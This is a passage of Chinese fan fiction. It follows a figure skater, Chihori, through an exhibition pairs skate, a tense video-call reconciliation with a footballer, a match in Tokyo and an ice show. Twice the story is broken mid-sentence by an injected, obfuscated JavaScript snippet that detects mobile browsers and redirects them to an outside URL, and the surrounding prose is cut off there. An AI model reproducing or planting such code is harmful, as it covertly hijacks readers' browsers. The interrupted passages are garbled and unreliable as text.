他们再起贴到一起,一人手搭着肩、一人手搂着腰。 直到音乐进入最后一个乐句。 千穗松开搭在他肩上的手,向后滑出半步。尤里的手从她腰上滑落,垂在身侧。两个人面对面站着,距离拉开到一个手臂的长度。 音乐戛然而止。 千穗的右手缓缓抬起,掌心朝下,指尖指向尤里的方向——但其实不是指向他,是指向他身后的什么东西,更远的、更广阔的、比两个人加在一起还要大的东西。尤里没有动,只是站在那里,看着她的指尖。 安静。观众席安静了整整三秒。 然后掌声像潮水一样涌过来。比比赛结束时还热烈的、还要发自内心的、像要把屋顶掀翻的掌声。有人在喊他们的名字,有人在尖叫,有人站起来——然后所有人都站起来了。 千穗站在冰面中央,胸口剧烈起伏,红色的头发被汗打湿,贴在额头上。她转头看向尤里。他也正看着她,脸上的表情与前几天赢了比赛时那种凶狠的、咬住猎物喉咙的释然不同,更柔软、更干净。 她伸出手,“合作愉快。” 尤里低头看着那只手。他的手垂在身侧,指尖微微蜷着。 沉默了两秒,然后他握住她的手。 “……嗯。” 两个人并肩滑向出口。 千穗的步子比平时慢,尤里的步子也比平时慢,两个人都不说话。快到挡板的时候,尤里忽然开口:“你的头发,乱了。” 千穗伸手摸了摸发顶,确实有几缕碎发从发胶里挣脱出来,贴在额角。 “你的也是。”她说。 尤里没接话。 但他伸手把自己额前的碎发往后拨了一下,露出完整的额头。 两个人走出冰场的时候,维克托和勇利正站在通道口。维克托鼓掌,勇利也鼓掌,两个人的表情都很认真。 但不知道为什么没看见雅科夫——米拉她们倒是在观众席瞥见了。 “很棒的表演。”维克托说,“比我想象的还好。” 千穗眨了眨眼,“你不是说这是你的作品吗?” “是我的作品,”维克托笑了一下,“但滑的人是你们。作品再好,也得看谁滑。” 勇利在旁边点头,眼眶不知道为什么有点红红的,“真的很棒。” 千穗和尤里同时看他,然后同时移开视线。 “笨蛋猪排饭,你的表情很蠢啊。”尤里的声音还是硬邦邦的,但耳朵尖红了一截,“不就是试了下双人滑吗?” 维克托笑出了声。 表演滑结束之后,千穗一个人坐在更衣室里。她已经换下了考斯滕,头发还是红色的,因为这次用的不是一次性染发剂。 她觉得镜子里的自己看起来有点陌生——红发,蓝眼,脸上还带着没卸干净的妆。手机屏幕亮着,消息列表里躺着几十条未读。她一条一条往下翻,翻过世一的、父母的、凛的、米拉的、莱莉的、夜鹰纯的。 没有糸师冴的。 千穗盯着屏幕看了几秒,然后把手机翻过去扣在桌上。她靠在椅背上,盯着天花板。更衣室的灯是白色的,冷调,照得整个房间都有点发蓝。她忽然想起尤里刚才在冰上的表情——那双蓝绿色的眼睛,比她见过的任何时候都亮。 “在想什么?”北野宁宁的声音从门口传来。 千穗回过神,道:“没什么。” 北野宁宁走进来,把一瓶水放在她面前。 “头发要染回去吗?” 千穗摸了摸自己的红发,“先不染了。过段时间再说。” 北野宁宁点点头,没有多问。她收拾好东西,站在门口等千穗。 千穗站起来,最后看了一眼镜子里的自己——红发,蓝眼,拎着冰鞋收纳包。 她知道包里还有块金牌。 思及此,她心情更好了。 嗯,她什么也不缺,所以谁都别想阻止她拿金牌。 千穗转身,满怀愉悦地离开了更衣室。 39.通话 糸师冴一直有关注洁千穗的比赛、包括表演滑。 他还会保存录像。 从来都是如此。 即使在那天吵架后、即使刚踢完一场练习赛。 ……所以,他是在更衣室里看完那段双人滑表演的。 手机屏幕不大,但足够看清每一个动作。红与黑,同步跳跃,托举,螺旋线,旋转——两个人的身体在冰面上交缠又分开,像两团纠缠在一起的火。他早就注意到她的红色头发,比平时张扬,比平时更出彩的颜色。 他还注意到她看向那个搭档的眼神——带着笑的、让人移不开视线的眼神。 他把手机扣在柜子里。 旁边有人说了句什么,好像是队友,用西班牙语。 他没听清。 他只是站在那里,手还搭在柜门上,手指不知什么时候收紧了。队友的声音从很远的地方飘过来,带着一种小心翼翼的语气。大概说了什么“表情很可怕”之类的话。 糸师冴没有理会。他重新拿起手机,把那个视频又看了一遍。这次他注意的不是她,是那个男单选手。他知道这家伙原本是金发,黑发是染的,大概是为了配合表演。站在她旁边的时候比她高一个头,托举的时候手很稳。但冴总觉得他放下来的时候手指在她腰上停留时间太长了。 他把手机收进了口袋。 更衣室的灯光是白色的,照得每个人的脸都有些发白。队友们陆续收拾完东西走了,有人在门口朝他挥挥手说了句什么,他点了点头,大概是“明天见”之类的。门关上的声音在空旷的更衣室里回响了一下。 糸师冴坐在长椅上,双手搭在膝盖上。他的手腕上戴着那两条手链,一黑一白,训练和比赛的时候当然不能戴着——但他日常时候会戴,比如现在。 他低头看着自己看视频前套上的两条手链。 ……他们都知道这串手链的含义。 他于是想起她那天晚上说的话。 她说“常年在外我怎么可能一点都不知道那些东西”,她的眼眶红了,但没有哭。他认识她十二年,从六岁到十八岁,从神奈川的院子到马德里的机场。他见过她摔到膝盖淤青还咬牙爬起来的样子,见过她站在领奖台中央闪光灯铺天盖地落下来的样子,见过她笑着冲他挥手说“明年见”的样子。 只是,对方红眼眶的样子他确实没见过。 从小到大,她弟弟洁世一倒是哭过很多次、甚至凛小时候哭的样子他也记得,却完全没有对方流眼泪的记忆。 那晚在球场上,她拽着他的衣领,力气大到领口被攥出深深的褶皱。他掰开她手指的时候,感觉到她的指尖是凉的。十二月的雪落在他们交握的手上,化了又落,落了又化。他说“你以为自己有多了解我”,她说“那你就觉得自己很了解我”。两个人都愣住了,像两只互相撕咬的兽,在某个瞬间同时意识到对方也在流血。 他把手链往上推了推,露出腕骨。那天她拽着他衣领的时候,他握住她的手腕,骨节硌在她的腕骨上。他记得那个触感,凉,硬,像冰面。 他忽然有点烦躁,站起来,走到窗边。窗外是马德里的夜景,和平时没什么两样。远处的路灯连成一条光带,延伸到看不见的地方。 手机又震了一下。他掏出来看,不是她的消息。是经纪人发来的,问他怎么还没出来。他回了“。”,默了三秒,把对话框关掉,切到另一个人的头像。 她的头像是一张白色乌鸦玩偶的照片,大概是粉丝送的。最后一条消息还是他发的“恭喜”,她没回。那是冬奥的事了,现在已经过了快半个月,她看了,还是没回。 他把手机握在手心里,屏幕暗下去又亮起来。他点开她的头像,又退出去,如此反复了几次。最后他拨了视频通话。 响了三声。然后她接了。 屏幕里的她穿着宽松的运动服,头发扎成马尾,正坐在瑜伽垫上,一条腿盘着,另一条腿伸直,身体向前折叠。她的头发还是红色的,比表演那天暗了一点,可能是灯光是原因。脸上的妆卸干净了,面色红润,状态很好。 “什么事?”她问。声音很平,不是那天生气时的暴躁,却是客气的、疏离的、像对着一个不太熟的人说话。 冴的手指在膝盖上收紧了。 “那天,我说的话太过分了。”他说,声音比他预想的要低,带着一种自己都没察觉的沙哑。 千穗的动作停了一下。她直起身,把盘着的那条腿放下来,改成双腿伸直坐好。动作很慢,像是刻意在控制什么。 她没有说话,只是看着屏幕里的他。 那个眼神让他想起她站在冰场中央看向观众席的眼神,不是看某个人,是看所有人,带着一种笃定的、毋庸置疑的平静。 他忽然意识到,她从来都是这样的。不是没有情绪,是把情绪压得比任何人都深。 “我不该把那些情绪迁怒到你身上。”他说。没有铺垫,没有解释,只是陈述,像他在球场上接到球就射门一样,干脆利落。 千穗看着他,沉默了几秒。 “嗯。”她说,声音比刚才软了一点,但还是没有笑,“我知道。” 冴的手指松开了,又收紧了。 他发现自己居然不知道接下来该说什么。他擅长分析战术,擅长在球场上找到对手防线的缝隙,擅长用最精准的语言指出队友的失误。但对着屏幕里这个红发的、穿着宽松运动服的人,他忽然不知道该说什么。 这和他向来自我直白的说法方式很不合。 “……所以,对不起。”他只能这么道。 千穗看着他,嘴角动了动。不是笑,是那种想说什么又咽回去的表情。 “糸师冴,”她开口了,声音比他预想的要平静,“我们都知道凛小时候是什么样的。他喜欢弄坏玩具、看动物世界猎食者捕猎时兴奋的样子,你比我更清楚。” 冴没有说话。 “你想要激发他那种喜欢破坏的天性,用到足球上,我不反对。”千穗说,“我甚至能理解你让凛的目标锁定在自己身上的用意。” 她的语气很平,像在陈述一件早就想好了的事。“而且你应该没觉得自己和凛吵架有什么大问题吧?” “……嗯。”冴说,“我当时确实说错话了。你很了解我。” 他说这话的时候语气和平时没什么两样,直来直往的,像在说今天的训练强度还行。 千穗看了他一眼,那眼神有点复杂,像是在说“你这个人”之类的什么。 “你骂世一也是故意的。”她说,不是疑问。 冴沉默了一秒,“……他踢球太温吞了。明明有天赋,但一直顾虑别人的想法,等他反应过来早就错过了。” “所以你就用那种方式骂他?”千穗的声音稍微高了一点,但还是没有生气,更像是无奈。 “你弟弟比凛更自我。”冴说,“他不会因为别人几句话就放弃。” 千穗盯着他看了两秒,然后叹了口气。 “你倒是挺了解他的。” 冴没接话。他当然了解洁世一。那家伙从四岁开始就跟着姐姐来看他比赛,每次都站在场边眼睛亮晶晶的,却从来只是将注意力放在足球上,如同他的姐姐在冰上那样自我。 千穗换了个姿势,把腿盘起来,双手搭在膝盖上。 “那你知道我为什么生气吗?”她问。 冴看着她,“因为我说你不了解足球。” 千穗摇头,“不全是。” 她顿了顿,像是在组织语言。 “你骂凛的那些话,是因为你想让他自己找到踢球的理由,而不是一直跟在你后面。这个我能理解,你们理念不合。”她看着他,“但你掰开我手指的时候,说‘不了解就别指手画脚’的时候,我确实很生气。” 冴的手指微微收紧了。 “不是因为你骂我。”千穗说,“是因为你明明作出决定的那天都找我了,我以为你会把我的提议听进去。结果到头来你还是选择一个人扛着那些东西,不跟我说也不跟家人说,回来就把所有人都推开。你觉得这样很酷吗?” 她的声音还是平的,很冷静,冷静之下是令冴难言的理智宽和。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392119|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那晚在球场上,她说“早点告诉凛、跟他好好沟通”,他说“不了解就别指手画脚”。两个人都说了过分的话,两个人都戳到了对方最痛的地方。她痛的是被否认——否认她的关心,否认她十二年来试图理解他的所有努力。他痛的是被看穿——看穿他的失败,看穿他不想让任何人知道的、关于那个球场上的自己的所有不堪。 他有些庆幸她的理性、又有些讨厌。 “凛的事,我会处理。”他说。 千穗看了他一眼,嘴角弯了一下。很淡,但确实弯了。 “嗯,这点我相信你。” 冴的手指松开了一点。 千穗再次把腿伸直,靠在身后的墙上,姿态比刚才放松了些。 “我也得承认,我说你‘被踢得觉得自己没有前锋才能’说错话了。” 冴摇摇头,“你没有说错。” 千穗愣了一下。 “我被淘汰了。”他说,声音很平,像在说别人的事。“在西班牙,见过比我更厉害的人,也试过所有办法。最后发现,我的才能更适合中场。前锋不是不能踢,但想成为世界第一,前锋不够。” 他说完了。 这些话他从来没跟任何人说过,包括凛,包括父母,包括经纪人。他只是做了决定,然后执行。不需要解释,不需要理解,更不需要安慰。现在对着屏幕里这个染了红发的、抱着膝盖坐在瑜伽垫上的人,他把这些话说出来了。不是因为想要对方更宽容然后谅解他,只是想说、并觉得自己有义务说这些。 千穗沉默了很久。 “那你觉得自己在中场,”她说,“能成为世界第一吗?” 冴看着她,“能。” 千穗点了点头,“那就行。” 就这几个字。和那天马德里晚上一样,没有问“为什么”,只说“那就行”,像是确认一件很简单的事:他知道自己要什么,他能做到,那就够了。 冴忽然觉得胸口那个堵了几个月的东西松了一点。 没有完全松开,但这一点也够了。 像冰面裂开第一道缝,水还没流出来,但光已经透进去了。 “五月份,”他说,“我们在日本国立体育馆有比赛。” 千穗眨眨眼,“所以?” “票给你留了。”他说,“来吗?” 千穗看着他,看了很久,久到冴以为她不会回答了。 然后她笑了,眼睛弯成月牙的、嘴角翘起来。 冴想到了小时候,她趴在窗口看他颠球说“你球颠得真好,能教我吗”时的笑。 “来。”她说,“当然来。” 冴点了点头,“嗯。” 两个人对视着,谁都没说话。屏幕里的她坐在瑜伽垫上,头发还是红色的,有点乱。屏幕里的他坐在更衣室的长椅上,穿着训练服,手腕上戴着两条手链。 “你该睡了。”冴说 “你也是。” “……嗯。” 千穗伸出手,大概是要挂断。但手指悬在屏幕上方,停了一下。 “冴。” “嗯?” “这不代表我原谅你了,你还没跟世一他们道歉。”她用那双蓝眼睛认真地望着他、穿透了屏幕。 冴却意外地感到愉悦。 松石绿的眼睛同样望着她,他们像是在对视。 “嗯。”他轻声道。 千穗挂断了视频通话。 冴坐在长椅上,手机握在手心里,屏幕的光映在他脸上。更衣室很安静,只有空调运转的嗡嗡声。他低头看着手腕上的手链,黑白交叠的颜色,和足球一样。 他忽然想起很久以前,大概是刚去西班牙的第一个冬天。马德里下了很大的雪,他站在宿舍窗前,看着外面白茫茫的一片,想起神奈川的雪,想起镰仓的海,想起她趴在窗台上数他颠球的样子。那时候他刚学会用西班牙语进行日常交流,刚学会在训练结束后自己去超市买晚饭,刚学会在深夜对着天花板消化一切……他不再想了。 他把手机收进口袋,站起来,关了灯。 40.五月 五月二十四日。 洁家姐弟顺带一只糸师弟弟一去看糸师哥哥皇马vs川崎前锋的邀请赛。 地点东京国立竞技馆。 赶完东京的路上,洁千穗站在电车门边,口罩遮住半张脸,帽檐压得低低的,平光眼镜的边框在阳光里闪了一下。车里人不算多,她靠在门边的扶手杆上,世一站在她左边,凛站在她右边,三个人形成一个微妙的三角形——世一和凛之间隔着她,像是中间横着一条看不见的线。 这种僵局从镰仓上车就开始了。他们前两天又吵过一架,具体原因千穗懒得问,无非是那些和足球有关的话题。 冴那晚说的话像一颗种子,在两个少年心里扎了根,长出来的枝条朝着完全相反的方向疯长。千穗夹在中间,偶尔伸手把那些扎人的枝条拨开一些,但她知道,有些东西得他们自己消化。 电车驶过郊区,窗外的住宅变得稀疏。凛靠在另一边的门框上,双手插在口袋里,墨绿色的头发被风吹起来一点。他确实长高了很多,现在比世一高近一个头,相应的骨架也要大点。那张脸上的表情和她记忆里那个会抱着足球跟着哥哥后面喊“千穗姐”的小孩判若两人——眉眼长开了,下颌线锐利了,嘴角总是抿着,像随时准备反驳什么。 虽然凛以前也会嘲讽世一几句、偶尔吵一吵,但那天晚上后只有扯到足球他就嘴不饶人堪称“糸师冴第二”,嘲讽世一那叫一个得心应手。 属于洁千穗听见了会上手替他哥揍的程度(甚至把对他哥的火气也算上了)。 ——好在这小子在她面前还算克制。 “凛。”千穗叫他。 凛偏过头,视线从窗外收回来,落在她脸上。那眼神在接触到她的瞬间软了一点—— 至少这时候的他还是那个会将别人送的巧克力一一退回的少年人。 “我问过糸师夫人了,”千穗说,声音不大,带着口罩有点闷,“你今天本来就有出门去东京的计划~” 凛的表情变了一下,带上一点点不自在。他别过脸,下巴朝着车窗的方向抬了抬,喉结滚动了一下,像是把什么话咽回去了。 他们都知道今天去东京的目的会是什么。 千穗没有追问,只是拍了拍他的肩。她得踮一点脚——这孩子现在比她高太多了,肩膀的骨头隔着薄薄的T恤硌她的手心。他没躲,也没说话,但身体往她这边偏了一点点,很轻,似是不小心的。 旁边的世一看了他们一眼。他站在千穗左边,背着一个腰包,里面放了些钱包啥的。他没像凛那样靠在门框上,站得很直,像一棵还没长完但已经知道自己要往哪个方向长的树。 前天和凛吵架的事他大概还在介意。千穗了解自己的弟弟——世一不是会记仇的人,但尚未完全释放天性的他习惯独自思考。会翻来覆去地想那些话到底有没有道理,会在训练的时候多跑几圈,会在晚上写作业写到一半忽然停下来盯着窗外出神。 这些都是千穗这几天在家里观察到的。 但如果在球场上,他应该会更擅长“反驳”。 那洁世一在想什么呢? 本来御影玲王和凪诚士郎因为和青森拉拉田的练习赛,邀请洁世一一起去原宿买新鞋,但在陪队友买球鞋和陪姐姐全看足球赛之间,世一果断选了后者。 如果是去看并非他姐姐上场的花滑表演,他还有犹豫下,但这是去陪姐姐看刚给他道歉、然后莫名其妙跟他姐和好的糸师冴的足球赛! 秉持着某种直觉,洁世一觉得不能让姐姐单独去见糸师冴,即使只是看比赛。 然后等他们一起去镰仓把糸师凛也带上时,世一莫名松了口气。 ……虽然他不久前刚和这家伙在网上吵过。 . 窗外的高楼又多了起来。 电车减速,报站声响起,到站点了。 三个人从车门鱼贯而出,千穗走在中间,世一和凛一左一右。她今天穿了一件浅灰色的薄外套,运动鞋,头发扎成马尾,红色已经开始褪去,发根则是黑色——她没染回去,因为对头皮不太好。他们顺着人流往中央线月台走,千穗步子不快,两个人便也跟着慢下来。 五月的东京地铁里已经有了闷热的意思,空调开得足,冷气和外面的热气在出入□□汇,形成一层薄薄的雾。千穗把口罩往下拉了拉,露出鼻梁,眼镜片上蒙了一层白雾。她伸手摘下来擦,脚步没停,世一就自然而然地侧过身,挡在她和人群之间。凛也慢了半步,从另一边挡住。两个人谁都没看谁,动作倒是同步的。 千穗把眼镜戴回去,看了他们一眼,口罩底下的嘴角弯了一下。 . 一路上无言,但千穗能感受到旁边两个气氛好了许多。 只是凛看着怪纠结的,且越接近国立竞技馆、这份纠结越明显,世一已经忍不住打量他好几眼了。 千穗有点好笑,都被他们推着到了场馆门口了,还在纠结要不要看吗? 她于是伸手在凛眼前晃了晃。 凛抬起头,那双和冴一样色如绿松石的眼睛在阳光下显得格外透亮。 “怎么了?” “没什么。”千穗收回手,“确认你还活着。” 凛的表情终于有了一丝裂痕,“……千穗姐。” “走了走了。”千穗推着他往入口走,“再晚就赶不上开场了。” 没再给凛离开的余地,三个人很快过了安检,找到座位。 冴留的位置是C区看台第三排接近过道的位置,和以往一样的风格。千穗坐下来,把顺手在检票口买的三束花放在脚边。出于谨慎,她选择把两个刚吵过架的人隔开,和凛换了位。 最后世一坐在她左边,凛坐在她右边。 从坐下开始,凛的视线就没离开过球场。 草皮绿得发亮,白线画得整整齐齐。球门、角旗、替补席的白色顶棚——一切都和电视上看到的一样,又什么都不一样。 “凛。”千穗开口。 “嗯。” “你就当自己只是来看比赛的。” “……我知道。” 千穗没再说话。开场哨响的时候,看台安静了一瞬。皇马穿白色,川崎前锋穿蓝色。冴站在中圈偏左的位置,10号球衣。 世一的身体微微前倾了,“冴哥踢的是中场……” 凛没说话,他的手指搭在膝盖上,指节慢慢收紧了。 上半场第十分钟左右,皇马的一次反击。球从后场转移到左路,冴接球的时候身边还有两名防守球员。他停球,变向,加速——那个动作干净得像刀切开水。第一个防守球员被他甩在身后,第二个撞上来的时候,他已经把球分出去了。不是长传,是一脚直塞,贴着草皮,从两名防守球员之间的缝隙里穿过去,落点刚好在禁区弧顶。前锋跟上,射门——球进了。 看台沸腾。千穗和世一跟着其他观众一起鼓了鼓掌。凛没有说话。他只是看着球场上那个皇马的10号,看着他那副自己传出的球被队友踢进后依旧淡漠的样子。 凛的表情没有任何变化,但搭在膝盖上的手指攥紧了裤子的面料。 上半场结束前,冴又送出一脚助攻。这次是一脚挑传,越过整条防线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396087|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,落点精准地停在前锋的左脚内侧。停球、调整、射门——整个过程不超过两秒。看台上有人喊“糸师”,有人喊“10号”,有人举着手机录像。 千穗转头看了一眼凛。 凛完全没有感受到她的视线,目光钉在球场上,表情略带阴郁。 下半场,冴自己进了一球。禁区外接球,稍作调整,右脚抽射——皮球划出一道弧线,绕过防守球员,贴着横梁下沿钻入网窝。球进得干脆利落。冴没有庆祝,只是往回走,和经过的队友碰了一下拳。他经过摄像机位的时候,镜头追着他拍了几秒。 凛终于移开了视线。他低下头,看着自己搭在膝盖上的手。 比赛结束的时候比分定格在三比一。皇马青训队三个进球,一个糸师冴自己进的,剩下两个也来自他的助攻。当然,按照不摆在明面上的规则,皇马最后让邀请方进了一个以免输得太难看。 千穗站起来,把脚边的花束递给帮忙收礼物的工作人员。 然后她就和世一、凛随着人群离场了。 . 出了竞技馆,东京五月傍晚的风迎面扑来,吹散了在场馆带来的闷热之感。 世一和凛依旧一左一右分开走在千穗两边,三个人之间隔着一个拳头的距离。走到路口的时候,千穗停下来。 “吃饭再走?”她掏出手机看时间,“快五点了。” 凛想说什么,世一抢先开口:“好啊,我饿了。”然后看了凛一眼,那个眼神千穗看懂了——意思是别扫兴。 千穗忍住笑,打开地图找了最近的一家传统饭馆。饭馆在一条小巷子里,门面不大,暖帘被风吹得微微鼓起。推门进去的时候,老板娘正在擦柜台,抬头看见三个人,笑着说“欢迎”。 他们选了靠窗的位子。千穗点了三份茶泡饭——世一的基础款,凛的鲷鱼茶泡饭,她自己的是看了菜单感到好奇的招牌和风肥牛茶泡饭。 又加了一份金锷烧做甜点。 等餐的时候,千穗从包里翻出三张冰演门票,推到凛面前。 “27号,莱莉和我的冰演。世一和爸妈的票我上次给他们了,这是你们一家的。” 凛低头看着那三张票。门票设计得很漂亮,浅蓝色底,印着雪花和冰刀图案。千穗注意到他的手指在票面边缘停了一下。 “三张?”他用疑问语气问。 千穗端起桌上的茶杯抿了一口,“如果你是想问糸师冴去不去——他比完赛就回西班牙了,赶不上,这三张是给你和你父母的。” 凛“哦”了一声,没有追问。 然后他把票收进口袋里,动作很慢,像是在确认什么。 这时候茶泡饭端上来了。 千穗的招牌和风肥牛,肥牛的油脂渗进茶汤里,飘着一层薄薄的油光。她舀了一勺送进嘴里,咸香的味道在舌尖化开。世一的基础款很清淡,他自己又加了一小碟甘梅。凛的鲷鱼茶泡饭卖相最好,鲷鱼片的颜色在茶汤里显得格外透亮。 也就只有吃东西的时候,他才会真正放松。 . 千穗其实撒了谎。 她在前天就寄了个快递给冴,里面装着票和一张纸条:“27号冰演,记得来,凛和你爸妈我也准备了票。” 但冴没有回消息。她也不确定他会不会来。 如果来了,她是希望对方能再找凛聊聊的。 只是理念问题,单纯聊聊可能已经没什么用了,糸师冴也大概没兴趣这么做。 所以她选座位时,把他和其他人放在了场馆两端,这样就算冴来了但不打算找凛也没关系。 41.冰演 出了饭馆,天色彻底沉了下来,街边的路灯次第亮起,在柏油路上拉出长长的暖光。 洁千穗和洁世一在车站与糸师凛挥手道别,各自踏上归途。 姐弟俩站在站台边,先是看着凛登上开往神奈川的电车,才转身走向另一侧站台,刚好赶上一班驶往埼玉的电车。 他们是吃过晚饭才过来的,刻意错开了最拥挤的晚高峰,可电车上依旧人头攒动,空气里混着淡淡的汗味与车厢空调的冷风。 洁世一先一步挤上车,回头伸手护住姐姐,一路拨开人群,往车尾相对宽松的区域挪去。 运气不错,车尾刚好空着两个相邻的座位。姐弟俩挨着坐下,电车随即发出轻微的震动,缓缓加速,窗外的建筑与灯火开始向后倒退。 沉默了片刻,洁世一忽然轻声开口: “姐。” “嗯?”洁千穗正望着窗外掠过的夜景,闻言侧过头看他。 “你票给冴哥了,对吧。” 千穗挑了挑眉。 “怎么了?不行吗?” 世一摇了摇头,“没。” 他顿了顿,指尖无意识抠了抠膝盖,斟酌措辞道,“……冴哥上个月跟我道歉了,说他那天用词不到位。” 千穗轻轻点头,“嗯,这我知道——他要是不给你道歉,我才不会原谅他。” 洁世一抿了抿唇,欲言又止。 “还有什么想问的吗?”千穗察觉到他的异样,有些奇怪地追问。 世一摇了摇头,低声说了句“没什么”。 之后一路无话,电车平稳地行驶着,载着两人驶向埼玉。 …… 冰演当天,东京巨蛋的灯光从穹顶倾泻下来,把整片冰面照得透亮。 这场冰演是莱莉的星狐俱乐部正式开张的预热宣传,她邀请了自己的好友洁千穗帮忙,借用了千穗在岛国的人气和人脉。 观众席黑压压地坐满了人,属于千穗的蓝色、莱莉的金色——应援棒的光点在暗处明明灭灭,像倒悬的星河。 中间前排,洁父洁母那种蓝色应援棒并肩坐着,洁世一坐在母亲旁边,手里举着那个手工应援扇。糸师夫妇坐在他们右手边,接过洁家递来的应援棒。 两家中间隔着糸师凛,凛被世一塞了应援扇,坐姿端正,表情很平,看不出在想什么。 相隔半个场馆另一侧的看台的第三排,靠过道的位置,冴坐在那里。 他戴了口罩,刘海没有梳上去,垂在额前。手上没有应援扇什么的,只是安静地坐在位子上,望着冰面等待节目开始——确切来说,是等待洁千穗的节目,因为冰演主办者莱莉.福克斯的节目已经开始了。 . 另一边,化妆间,灯光明亮。 化妆师正在帮千穗最后确认发型——深棕色的长假发,发尾微微卷曲,从肩头倾泻下来,在灯光下泛着柔和的光泽。 几缕碎发被刻意留出来,编成细小的辫子,用透明的细线固定在耳后,再缀上几颗米粒大小的贝壳装饰。这是《海洋奇缘》里莫阿娜的标志性发型——那个漂洋过海、拯救族人的少女。 化妆师用指腹把最后一点腮红匀开,退后一步端详片刻,满意地点点头,“好了。” 千穗对着镜子看了几秒。镜子里的自己看起来有几分陌生——深棕色的长发,晒伤妆的腮红,唇角微微上扬。和莫阿娜不像,但那种感觉对了。 她站起身,化妆师帮她整理好刚好到膝盖的裙摆。 这套比较特殊的考斯滕是专门为这次冰演定制的。上身是亚麻色的抹胸,边缘用棕榈纤维编织的纹样装饰,露出一截锁骨和肩膀。下身是层叠的流苏裙,从腰际倾泻下来,每一层流苏的颜色都不一样——最上层是深棕,往下渐变成赭红、橙金、最后是接近透明的浅金色。走动的时候,流苏随着步伐轻轻晃动,像风拂过草叶,又像浪花翻卷时边缘的那一层泡沫。 为了搭配,冰鞋也是特意改制成棕色、外表看着像皮革,边上还缀着几颗小小的贝壳。 这是她第一次冰演,热度空前高,场馆在东京巨蛋也是她帮莱莉搭线、在赤司帮助下谈下来的。 莱莉为表感谢,给了她星狐俱乐部的股份……虽然千穗不需要,在知晓时代大势和系统帮助下,她除了花滑事业外也赚了不少钱,学业也不算落下,早稻田的体育科学部在全日是顶尖的、也是唯一能让她“一边当现役运动员一边拿学位”的地方。 ——千穗有点惊讶自己上场前还有心思想那么多不搭噶的事。 大概因为这不是比赛吧,没什么压力。 但她还是希望能呈现给粉丝们最好的表演。 . 几分钟后,北野宁宁探头进来,问: “好了吗?” 千穗点点头,跟着她往外走。 通道里能听见冰场那边传来的掌声——莱莉的表演结束了。 千穗站在入口耐心等待着。 很快,大概过了一分钟,开始播报下一个节目。 工作人员便朝她比了个手势,千穗点点头,推开冰场的门。 灯光暗了一瞬,再亮起的时候,她已经在冰面中央了。 追光从头顶落下来,把她整个人笼在一圈暖白色的光晕里。深棕色的长发在灯光下泛着柔和的光泽,流苏裙随着她的呼吸轻轻晃动。她低着头,双手交叠在胸前,像是在祈祷,又像是在聆听什么。 音乐响起的瞬间,整个场馆彻底安静了。 不是钢琴,不是弦乐——是海浪。潮水涌上沙滩又退去的录音,混着远处海鸟的鸣叫,从音响里流出来,漫过冰面,漫过观众席,漫过所有人的耳膜。那声音低沉、绵长,像某个古老故事的开场白。 千穗动了。 先是滑行——很慢,慢到能看清冰刀从后刃过渡到前刃时那道由深变浅的弧线。她的身体微微前倾,重心放得很低,右手轻轻垂在身侧,左手按在胸口。流苏裙随着她的移动轻轻晃动,最深的那层棕色扫过冰面,像风拂过沙滩。 这是莫阿娜第一次走向海洋时的步伐。犹豫的,试探的,不知道海浪会把她带向哪里,但脚下已经在往前走了。 人声切入。没有歌词,只是一段无词的吟唱,空灵、悠远,从海平线那一端飘过来。 千穗开始加速。交叉步,蹬冰,每一步都踩在吟唱的换气间隙里。流苏裙在她身后展开,深棕、赭红、橙金、浅金——一层一层地翻涌,像被船头劈开的浪花。她滑过冰场长轴的时候,左手从胸前缓缓向侧方展开,掌心朝下,指尖微微颤抖,像在触碰看不见的海风。 然后进入3A的起跳准备。 捻转步。三圈,每圈的半径都在收缩,从宽到窄,从慢到快。她的身体在冰面上旋转,流苏裙被离心力甩开,深棕、赭红、橙金、浅金——一层一层地荡开,像漩涡,像潮水退去时最后那一圈涟漪。最后一圈转完的瞬间,捻转步的轴心收至极窄,她的身体绷成一条笔直的线——左前外刃切入冰面,膝盖压到恰好能蓄满力又不至于过深的深度,蹬冰,腾空。 深棕色的假发在灯光下划出一道弧线,流苏裙在空中完全展开,像一朵倒悬的花。一圈,两圈,三圈半——落冰。 右后外刃切入冰面的声音很轻,轻到几乎被音乐盖住。但那个落冰的姿态是稳的,稳到滑出的弧线圆润得像用圆规画出来的。她的右臂向前伸展,左臂向后展开,掌心朝下,指尖微微上翘——那是莫阿娜站在船头、第一次望见地平线时的姿势。 观众席爆发出掌声。 而千穗已经沉浸在音乐中。 弦乐从海浪声里浮出来,旋律线的上升,像船帆被风一点点吹满。《How Far I''ll Go》的本该是有歌词的、而且冰演本就不受限,但千穗选择以纯粹的旋律表达故事。 接续步从这里开始。 她用刃比刚才更深,滑行的轨迹不再是简单的弧线,是复杂的、交错的、像海浪拍在礁石上又退回去时留下的水痕。交叉步、转三、摇滚步、括弧步——每一个步法都踩在弦乐的换弓处,精准得像被量过。 摇滚步的时候,身体从右前外刃切换到右后外刃,滑行方向不变,但身体的朝向在瞬间完成翻转。那道弧线走到一半突然折转,冰刀在冰面上划出一道锋利的折角,如船在礁石间灵巧地穿行,船尾擦着浪尖甩过去。 括弧步紧随其后。左前内刃切入,弧线走到最高点时身体猛然扭转,冰刀在同一道弧线上折返,滑出一个“( 